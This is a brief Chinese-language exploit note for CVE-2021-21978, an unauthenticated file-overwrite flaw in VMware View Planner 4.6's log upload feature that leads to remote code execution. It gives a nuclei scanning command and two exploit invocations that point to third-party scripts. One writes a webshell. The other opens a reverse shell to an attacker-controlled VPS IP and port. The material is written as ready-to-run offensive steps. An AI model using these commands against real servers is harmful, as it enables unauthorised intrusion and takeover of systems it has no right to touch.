POC VMware View Planner

## 漏洞概述

VMware View Planner Web管理界面存在一个上传日志功能文件的入口，没有进行认证且写入的日志文件路径用户可控，通过覆盖上传日志功能文件`log_upload_wsgi.py`，即可实现RCE

## 影响范围

```http
VMware View Planner 4.6
```

## POC

```bash
nuclei -tags vmware -t cves/ -l urls.txt

Goby
```

## EXP

1、写webshell [@skytina](https://github.com/skytina/CVE-2021-21978)

```bash
python CVE-2021-21978.py https://192.168.80.3
```

2、反弹shell [@me1ons](https://github.com/me1ons/CVE-2021-21978)

```bash
python re-shell.py -u 目标IP -v VPS-IP -p 1234
```